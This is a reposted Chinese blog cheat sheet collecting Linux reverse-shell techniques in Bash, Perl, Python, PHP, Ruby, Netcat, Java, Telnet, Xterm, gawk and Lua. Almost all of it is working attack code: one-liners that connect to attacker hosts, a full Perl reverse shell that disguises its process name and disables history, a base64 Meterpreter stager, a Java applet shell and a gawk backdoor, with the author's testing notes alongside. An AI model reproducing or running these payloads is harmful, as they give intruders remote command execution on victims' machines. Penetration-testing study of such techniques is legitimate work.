Linux下反彈shell的種種方式


[前言:在烏雲社區看到反彈shell的幾種姿勢,看過之余自己還收集了一些,動手試了下,僅供參考]

0x01 Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
這里shell由bash解析,有時候是由sh解析,不一定百發百中
***在虛擬機里面試過可行,替換成自己的地址和端口即可***
***/dev/[tcp|upd]/host/port是Linux設備里面比較特殊的文件,讀取或寫入相當於建立socket調用***
***由於其特殊性,命令執行后依舊無法找到/dev/tcp目錄更不要說下面的文件了***
***注意,這里"&"在Linux shell中表示后台運行,當然這里0>&1不是這樣,對於&1更准確的說應該是文件描述符1,而1一般代表的就是STDOUT_FILENO***
*** 2>&1形式用於重定向,2>表示錯誤重定向,&1表示標准輸出;以ls >/dev/null 2>&1為例,2>&1是將標准出錯重定向到標准輸出,不過在這里又被重定向到了/dev/null這個無底洞里***
***這里有一個問題:為什么2>&1要寫在后面,以command >file 2>&1為例,首先是command > file將標准輸出重定向到file中, 2>&1 是標准錯誤拷貝了標准輸出的行為,也就是同樣被重定向到file中,最終結果就是標准輸出和錯誤都被重定向到file中***
***其實還有一個問題,既然2>表示錯誤重定向,那么0>表示什么呢?查閱資料發現在Linux下輸入輸出重定向有三個值,其中2已經說過是標准錯誤信息輸出,那0則是標准輸入,1則為標准輸出了。說到這里,其實又引出了一個新的問題,我們知道<才是表示輸入的,那為何這里卻是如此形式,按說就應該是2了,或者說這里0就已經是輸入了,然后直接使用>進行輸出,不是很清楚請大牛指點啊***

gnucitizen[http://www.gnucitizen.org/blog/reverse-shell-with-bash/]上還有一種不同的方法,評論中也有一些想法:
###$ nc -l -p 8080 -vvv
$ exec 5<>/dev/tcp/evil.com/8080
$ cat <&5 | while read line; do $line 2>&5 >&5; done
***這條語句證實可行,這里exec命令可以用來替代當前shell;換句話說,並沒有啟動子shell,使用這一條命令時任何現有環境變量將會被清除,並重新啟動一個shell***
***exec的man手冊如是說:The exec() family of functions replaces the current process image with a new process image***
***在查exec時發現一個好玩的語句:

  exec 3<>/dev/tcp/www.google.com/80
  echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&3
  cat <&3

這個語句的作用,應該一看就明了了,不多說,言歸正傳,nc監聽,使用exec反彈的shell其輸出只能在目標機器上看到,有圖為證***


另外還可以是:
exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
/bin/bash  -i > /dev/tcp/attackerip/8080 0<&1 2>&1
***在測試exec /bin/bash 0&0 2>&0語句時,遇到一個問題,終端顯示No such file or directory或者干脆找不到命令,怎么讓它實現還有待研究***
***研究表明,exec 2>&0即可,不需要/bin/bash,然后跟上0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196在本地監聽反彈成功***

0x02 Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

***使用這條命令,唯一的不同是提示符變成了sh-4.1#,實現原理和前面的bash差不多,Perl還是很強大的***

 

不依賴於/bin/sh的shell: ***這條語句比上面的更為簡短,而且確實不需要依賴/bin/sh***

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

系統運行windows時:***突然發現windows上暫時沒裝Perl,下次測吧***

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

再給出一個完整的Perl的反彈腳本:

 1 #!/usr/bin/perl -w
 2 # perl-reverse-shell - A Reverse Shell implementation in PERL
3 use strict; 4 use Socket; 5 use FileHandle; 6 use POSIX; 7 my $VERSION = "1.0"; 8 9 # Where to send the reverse shell. Change these. 10 my $ip = '127.0.0.1'; 11 my $port = 1234; 12 13 # Options 14 my $daemon = 1; 15 my $auth = 0; # 0 means authentication is disabled and any 16 # source IP can access the reverse shell 17 my $authorised_client_pattern = qr(^127\.0\.0\.1$); 18 19 # Declarations 20 my $global_page = ""; 21 my $fake_process_name = "/usr/sbin/apache"; 22 23 # Change the process name to be less conspicious 24 $0 = "[httpd]"; 25 26 # Authenticate based on source IP address if required 27 if (defined($ENV{'REMOTE_ADDR'})) { 28 cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}"); 29 30 if ($auth) { 31 unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) { 32 cgiprint("ERROR: Your client isn't authorised to view this page"); 33 cgiexit(); 34 } 35 } 36 } elsif ($auth) { 37 cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access"); 38 cgiexit(0); 39 } 40 41 # Background and dissociate from parent process if required 42 if ($daemon) { 43 my $pid = fork(); 44 if ($pid) { 45 cgiexit(0); # parent exits 46 } 47 48 setsid(); 49 chdir('/'); 50 umask(0); 51 } 52 53 # Make TCP connection for reverse shell 54 socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')); 55 if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) { 56 cgiprint("Sent reverse shell to $ip:$port"); 57 cgiprintpage(); 58 } else { 59 cgiprint("Couldn't open reverse shell to $ip:$port: $!"); 60 cgiexit(); 61 } 62 63 # Redirect STDIN, STDOUT and STDERR to the TCP connection 64 open(STDIN, ">&SOCK"); 65 open(STDOUT,">&SOCK"); 66 open(STDERR,">&SOCK"); 67 $ENV{'HISTFILE'} = '/dev/null'; 68 system("w;uname -a;id;pwd"); 69 exec({"/bin/sh"} ($fake_process_name, "-i")); 70 71 # Wrapper around print 72 sub cgiprint { 73 my $line = shift; 74 $line .= "<p>\n"; 75 $global_page .= $line; 76 } 77 78 # Wrapper around exit 79 sub cgiexit { 80 cgiprintpage(); 81 exit 0; # 0 to ensure we don't give a 500 response. 82 } 83 84 # Form HTTP response using all the messages gathered by cgiprint so far 85 sub cgiprintpage { 86 print "Content-Length: " . length($global_page) . "\r 87 Connection: close\r 88 Content-Type: text\/html\r\n\r\n" . $global_page; 89 }

 

0x03 Python #測試環境為Linux Python2.7

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

***同樣是sh-4.1#,Python真心好***

 

另外的形式:#[http://www.r00tsec.com/2011/10/python-one-line-shellcode.html]還有其他可行的代碼

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

另外Metasploit版的代碼:

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234
import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))

 base64解碼:

import socket,struct
s=socket.socket(2,1)
s.connect(('192.168.90.1',1234))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(4096)
while len(d)!=l:
    d+=s.recv(4096)
exec(d,{'s':s})

 

0x04 PHP #代碼假設TCP連接的文件描述符為3,如果不行可以試下4,5,6

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

[https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php]為一個上傳的完整php反彈shell腳本    ***php這個也相當簡單***

 

0x05 Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

不依賴於/bin/sh的shell:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

如果目標系統運行Windows:

ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

當然還有我們很熟悉的MSF模塊里面也是有反彈shell的:

#!/usr/bin/env ruby

require 'socket'
require 'open3'

#Set the Remote Host IP
RHOST = "192.168.1.10" 
#Set the Remote Host Port
PORT = "6667"

#Tries to connect every 20 sec until it connects.
begin
sock = TCPSocket.new "#{RHOST}", "#{PORT}"
sock.puts "We are connected!"
rescue
  sleep 20
  retry
end

#Runs the commands you type and sends you back the stdout and stderr.
begin
  while line = sock.gets
    Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
              IO.copy_stream(stdout_and_stderr, sock)
              end  
  end
rescue
  retry
end 

 

0x06 NetCat

nc -e /bin/sh 10.0.0.1 1234  #不同版本的nc不一定支持-e選項

不能使用-e選項時:

mknod backpipe p && nc attackerip 8080 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc attackerip 4444
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/

安裝的NC版本有問題時:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

 

0x07 Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

msf使用為:use payload/java/shell/reverse_tcp

再見一段長代碼:

import java.io.*;
import java.net.Socket;
import java.util.*;
import java.util.regex.*;
import java.applet.Applet;

public class poc extends Applet{
    /**
     * Author: daniel baier alias duddits
     * Licens: GPL
     * Requirements: JRE 1.5 for running and the JDK 1.5 for compiling or higher
     * Version: 0.1 alpha release
     */

    public String cd(String start, File currentDir) {
        File fullPath = new File(currentDir.getAbsolutePath());
        String sparent = fullPath.getAbsoluteFile().toString();
        return sparent + "/" + start;

        }

    @SuppressWarnings("unchecked")
    public void init() {
        poc rs = new poc();
        PrintWriter out;
        try {
            Socket clientSocket = new Socket("192.168.5.222",10003);
            out = new PrintWriter(clientSocket.getOutputStream(), true);
            out.println("\tJRS 0.1 alpha release\n\tdeveloped by duddits alias daniel baier");
            boolean run = true;
            String s;
            BufferedReader br = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));
            String startort = "/";
            while (run) {
                String z1;
                File f = new File(startort);
                out.println(f.getAbsolutePath() + "> ");
                s = br.readLine();
                z1 = s;
                Pattern pcd = Pattern.compile("^cd\\s");
                Matcher mcd = pcd.matcher(z1);
                String[] teile1 = pcd.split(z1);
                if (s.equals("exit")) {
                    run = false;
                }else if (s.equals(null) || s.equals("cmd") || s.equals("")) {

                } else if(mcd.find()){
                    try {
                        String cds = rs.cd(teile1[1], new File(startort));
                        startort = cds;
                        } catch (Exception verz) {
                        out.println("Path " + teile1[1]
                        + " not found.");
                        }

                }else {

                    String z2;


                    z2 = s;
                    Pattern pstring = Pattern.compile("\\s");
                    String[] plist = pstring.split(z2);

                    try {

                        LinkedList slist = new LinkedList();
                        for (int i = 0; i < plist.length; i++) {
                            slist.add(plist[i]);
                        }

                        ProcessBuilder builder = new ProcessBuilder(slist);
                        builder.directory(new File(startort));
                        Process p = builder.start();
                        Scanner se = new Scanner(p.getInputStream());
                        if (!se.hasNext()) {
                            Scanner sa = new Scanner(p.getErrorStream());
                            while (sa.hasNext()) {
                                out.println(sa.nextLine());
                            }
                        }
                        while (se.hasNext()) {
                            out.println(se.nextLine());
                        }


                    } catch (Exception err) {
                        out.println(f.getAbsolutePath() + "> Command "
                                + s + " failed!");
                        out.println(f.getAbsolutePath() +"> Please try cmd /c "+ s+" or bash -c " +s+" if this command is an shell buildin.");
                    }

                }
            }

            if(!clientSocket.isConnected()){
                run = false;
                out.flush();
                out.close();
            }

        } catch (Exception io) {
            //System.err.println("Connection refused by peer");
        }

    }

}

 

0x08 Telnet  #nc不可用或/dev/tcp不可用時

mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe

 ***這里mknod是創建特殊文件-設備文件***

0x09 Xterm

首先開啟Xserver:  # TCP 6001

Xnest :1               # Note: The command starts with uppercase X

授予目標機連回來的權限:

xterm -display 127.0.0.1:1          # Run this OUTSIDE the Xnest, another tab
xhost +targetip                         # Run this INSIDE the spawned xterm on the open X Server

如果想讓任何人都連上:

xhost +                     # Run this INSIDE the spawned xterm on the open X Server

假設xterm已安裝,連回你的Xserver:

xterm -display attackerip:1

或者:

$ DISPLAY=attackerip:0 xterm

 

0x10 gawk

#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}

 

0x11 烏雲上一個lua實現

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

***lua之前是真沒見過,發現機器竟然一時裝不上,唉,留着以后玩吧***

msf反彈:use payload/cmd/unix/reverse_lua

 

0x12 參考

http://roo7break.co.uk/?p=215

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM